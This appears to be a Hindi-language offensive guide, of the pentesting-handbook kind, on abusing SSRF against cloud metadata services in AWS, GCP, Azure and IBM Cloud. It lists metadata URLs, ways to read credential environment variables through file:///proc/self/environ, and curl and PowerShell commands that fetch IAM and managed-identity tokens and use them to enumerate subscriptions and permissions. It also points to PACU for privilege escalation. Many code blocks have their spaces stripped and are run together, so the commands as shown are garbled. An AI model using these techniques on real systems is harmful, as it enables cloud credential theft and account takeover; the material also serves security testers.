मेटाडेटा एंडपॉइंट किसी भी EC2 मशीन से एक्सेस किया जा सकता है और इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह url पर एक्सेस किया जा सकता है: http://169.254.169.254 (मेटाडेटा के बारे में जानकारी यहाँ)।
मेटाडेटा एंडपॉइंट के 2 संस्करण हैं। पहला संस्करण एंडपॉइंट का GET अनुरोध के माध्यम से एक्सेस करने की अनुमति देता है (तो कोई भी SSRF इसका दुरुपयोग कर सकता है)। वर्शन 2 के लिए, IMDSv2, आपको एक टोकन के लिए एक PUT अनुरोध भेजना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ मेटाडेटा तक पहुंचने की अनुमति है (तो इसे SSRF के साथ अधिक जटिल है)।
ध्यान दें कि यदि EC2 इंस्टेंस IMDSv2 को प्रवर्तन कर रहा है, दस्तावेज़ के अनुसार, PUT अनुरोध का प्रतिसाद 1 का हॉप सीमा होगा, जिससे EC2 मेटाडेटा तक पहुंचना असंभव हो जाएगा।
इसके अतिरिक्त, IMDSv2 भी टोकन प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा जिसमें X-Forwarded-For हेडर शामिल है। इसका उद्देश्य गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसका एक्सेस करने से रोकना है।
aws_session_token को ध्यान से देखें, यह प्रोफ़ाइल के काम के लिए अनिवार्य है।
PACU को पाए गए क्रेडेंशियल के साथ उपयोग किया जा सकता है ताकि आपकी प्रिविलेज़ का पता लगाया जा सके और प्रिविलेज़ को ऊंचा करने का प्रयास किया जा सके।
AWS ECS (कंटेनर सेवा) क्रेडेंशियल में SSRF
ECS, एक ऐसा तार्किक समूह है जिस पर आप अपने अपने क्लस्टर प्रबंधन बुनियादी संरचना को स्केल किए बिना एक एप्लिकेशन चला सकते हैं क्योंकि ECS आपके लिए उसे प्रबंधित करता है। यदि आप ECS में चल रही सेवा को कंप्रोमाइज़ करने में सफल होते हैं, तो मेटाडेटा एंडपॉइंट बदल जाते हैं।
यदि आप http://169.254.170.2/v2/credentials/<GUID> तक पहुंचते हैं, तो आप ECS मशीन के क्रेडेंशियल पा सकते हैं। लेकिन पहले आपको <GUID> पता लगाना होगा। <GUID> पता लगाने के लिए आपको मशीन के अंदर environ चर को पढ़ने की आवश्यकता है AWS_CONTAINER_CREDENTIALS_RELATIVE_URI चर को पढ़ने के लिए आपको file:///proc/self/environ का शोध करने की संभावना है। उल्लिखित http पते से आपको AccessKey, SecretKey और token मिलना चाहिए।
ध्यान दें कि कुछ मामलों में आपको कंटेनर से EC2 मेटाडेटा इंस्टेंस तक पहुंचने की सक्षमता होगी (पहले से उल्लिखित IMDSv2 TTL सीमाएँ जांचें)। इन परिदृश्यों में कंटेनर से आप कंटेनर IAM रोल और EC2 IAM रोल दोनों तक पहुंच सकते हैं।
AWS Lambda के लिए SSRF
इस मामले में क्रेडेंशियल्स env variables में स्टोर किए गए हैं। इसलिए, इन तक पहुंचने के लिए आपको file:///proc/self/environ जैसी कुछ चीज़ का उपयोग करना होगा।
रुचिकर env variables का नाम हैं:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
इसके अतिरिक्त, IAM क्रेडेंशियल्स के अलावा, Lambda functions के पास भी इवेंट डेटा होता है जो फ़ंक्शन को शुरू किया जाता है जब यह चालू होता है। यह डेटा फ़ंक्शन के लिए रनटाइम इंटरफेस के माध्यम से उपलब्ध किया जाता है और यह संवेदनशील जानकारी (जैसे stageVariables में) शामिल हो सकती है। IAM क्रेडेंशियल्स की तरह, यह डेटा http://localhost:9001/2018-06-01/runtime/invocation/next पर मानक SSRF के माध्यम से पहुंचने योग्य है।
ध्यान दें कि लैम्बडा क्रेडेंशियल्स env variables में हैं। इसलिए यदि लैम्बडा कोड की स्टैक ट्रेस env vars प्रिंट करती है, तो ऐप में त्रुटि उत्पन्न कराकर उन्हें बाहरी करना संभव है।
AWS Elastic Beanstalk के लिए SSRF URL
हम API से accountId और region पुनर्प्राप्त करते हैं।
एक्सफिल्ट्रेटेड सर्विस अकाउंट टोकन का उपयोग करने के लिए आप बस यह कर सकते हैं:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
env से आप IDENTITY_HEADER और IDENTITY_ENDPOINT के मान प्राप्त कर सकते हैं। आप इस्तेमाल कर सकते हैं इन्हें एक टोकन इकट्ठा करने के लिए मेटाडेटा सर्वर से बात करने के लिए।
अधिकांश समय, आप एक टोकन चाहते हैं इन संसाधनों में से किसी एक के लिए:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
आईबीएम क्लाउड
ध्यान दें कि आईबीएम में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं है, इसलिए यह संभावना है कि आप इसको एक आईबीएम क्लाउड वीएम के अंदर होने के बावजूद तक पहुंच नहीं पाएंगे।
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq